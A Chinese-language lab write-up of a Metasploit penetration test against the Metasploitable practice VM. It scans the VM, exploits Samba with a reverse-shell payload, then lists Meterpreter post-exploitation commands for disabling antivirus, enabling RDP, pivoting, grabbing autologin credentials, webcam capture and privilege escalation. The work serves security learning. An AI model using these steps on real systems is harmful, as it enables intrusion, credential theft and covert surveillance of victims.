Metasploit实战
Metasploit实战
靶机选择
- 本次我选择的是Download Metasploitable (sourceforge.net) Metasploitable靶机
- 使用vmware进行挂载
-    
渗透测试过程
信息搜集
- 因为使用vmware在本地进行挂载,所以需要先找到目标靶机的IP 
- 先在kali中使用ifconfig查找到eth0的IP地址 
 
- 对该地址进行C端地址扫描,nmap -sP 查找存活主机 - nmap -sP
 
- 因为kali是134,目标靶机是在kali开启后进行挂载的,可以直接判断为地址要大于134 
- 对剩余的地址进行nmap -sV,查看目标靶机开启的服务 - nmap -sV
 
- 看到有Samba smbd 3.X - 4.X服务在运行,SMB是在局域网上共享文件和打印机的通信协议,在局域网内使用Linux和Windows系统的机器之间提供文件和打印机等资源的共享服务 
漏洞利用
- 进入msf,使用如下命令进行Samba漏洞利用模块的扫描 - seasearch samba 
- 分别查看rank一列的漏洞,其中excellent为漏洞最容易利用成功的(时间最新的) 
- 查看漏洞详细信息 - info + 漏洞名称 info exploit/multi/samba/usermap_script
 
- 输入如下 use 命令使用漏洞利用模块: - use exploit/multi/samba/usermap_script
- 可以看到metasploit命令提示符更改为msf exploit(具体攻击载荷名称) 
- 因为目标是Linux机器,所以一定要采用Linux的攻击载荷,使用如下命令可以查看具体攻击载荷列表 - show payloads
 
- 使用set命令选择payload、攻击IP地址、利用端口号、攻击IP地址 - set PAYLOAD cmd/unix/reverse 这里是反向攻击载荷模块 set RHOST xxx.xxx.xxx.xxx 被攻击主机IP地址 set RPORT xxx 利用端口号 set LHOST xxx.xxx.xxx.xxx 设置攻击主机IP地址 show options 查看参数是否已经设置正确
 
- 成功拿下 
 
- 攻击成功后,在攻击机和目标机之间会建立一个Shell连接,渗透Windows及其它操作系统的过程类似,只是选择的Payload和漏洞利用模块不同 
- 使用一些命令可以查看目标机的信息 
 
后渗透攻击——信息搜集
Meterpreter
- Meterpreter是Metasploit的后渗透工具,可以在被攻击的进程内工作,不需要创建新的进程,且易于在多个进程之间迁移
进程迁移
- 刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的 
- 例如攻击者利用浏览器漏洞攻陷目标机器,但是攻击渗透后浏览器可能被用户关闭 
- 所以第一步是移动这个Shell,将它和目标及中的某一个稳定的进程绑在一起 
- 不需要对磁盘进行任何写入操作,例如写马可能被杀 
- 使用如下命令获取目标机正在运行的进程 - ps
 
- 使用如下命令查看Metapreter的进程号 - getpid
- 麻了,没有getpid工具,但是有gcc,自己写! 
 
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void main()
{
    pid_t idp,id;
    idp = getppid();
    printf("ppid= %d\n",idp);
    id = getpid();
    printf("pid= %d\n",id);
}- google了一下,也可以使用下面的命令
 echo $$
 
 
- 使用migrate将shell移动到稳定进程中 
- 进程完成迁移后,原先PID下的Shell会自动关闭 
- 如果没有自动关闭,需要用kill手动杀死进程 
普通shell如何进入meterpreter
- 使用如下命令将shell放在后台 - background
- 进入刚刚的session会话 - sessions -u <编号>
- 查看新生成的session编号 - sessions -l
- 进入新的meterpreter session - sessions -i 新的session编号
系统命令
- 获得了稳定的进程后,接下来收集目标机的系统信息
查看系统信息
- 输入如下命令查看目标机的系统信息 - sysinfo
 
查看是否运行在虚拟机上
- 输入如下命令查看目标机是否运行在虚拟机上 - run post/windows/gather/checkvm
 
查看是否在运行
- 检查目标机是否正在运行 - idletime
- emmmm,靶机系统架构不允许 
 
查看目标机完整的网络设置
- 输入如下命令查看目标机完整的网络设置 - route
 
会话放后台
- 除此之外,可以将会话放到后台,此命令适合在多个Meterpreter会话的场景下使用 - background
查看已成功渗透的用户名
- 输入如下命令查看当前目标机上已经渗透成功的用户名 - getuid
 
关闭系统杀毒软件
- 关闭目标机系统杀毒软件 - run post/windows/manage/killav
 
启动远程桌面协议
- 启动目标机远程桌面协议,也就是3389端口 - run post/windows/manage/enable_rdp
 
查看目标机本地子网情况,添加路由,改为跳板
- 查看目标机本地子网情况 - run post/windows/manage/autoroute
- 先将meterpreter隐藏在后台,使用background命令 
- 然后输入route add命令添加路由,添加成功后输入route命令进行查看,注意命令格式 
 
 
- 这时一条路由就被添加到已攻陷主机的路由表中了,可以借助被攻陷主机对其它网络进行攻击(跳板) 
查看当前有多少用户登录目标机
run post/windows/gather/enum_logged_on_users列举安装在目标机上的应用程序
run post/windows/gather/enum_applications抓取自动登录的用户名和密码
- 用户如果将计算机设置为自动登录,如下命令可以抓取自动登录的用户名和密码 - run windows/gather/credentials/windows_autologin
 
- 如果没有抓到任何信息,就需要用到拓展插件Espia,先输入load espia命令加载此插件,然后输入screengrab命令抓取此时目标机的屏幕截图(仅限于Windows系统) 
摄像头
- 查看目标机是否有摄像头的命令如下 - webcam_list
- 输入如下命令打开摄像头,拍一张照片 - webcam_snap
- 开启直播模式 - webcam_stream
进入目标机的Shell
- 输入如下命令进入目标机的Shell下面 - shell
 
- 当meterpreter的命令前缀消失时,即进入了shell,退出了meterpreter 
后渗透攻击——权限提升
- 通常,进入时只获得了一个guest或者普通User权限,在实施横向渗透攻击和提权攻击时将会很困难
- 需要将权限由Guest->User->Administrator->System
- 渗透的最终目的是获取服务器的最高权限
提权分类
- 纵向提权:低权限角色获取高权限角色的权限
- 横向提权:获取同级别角色的权限
提权过程
- 输入shell命令进入目标机的CMD命令行
- 输入whoami/groups命令查看现在的权限

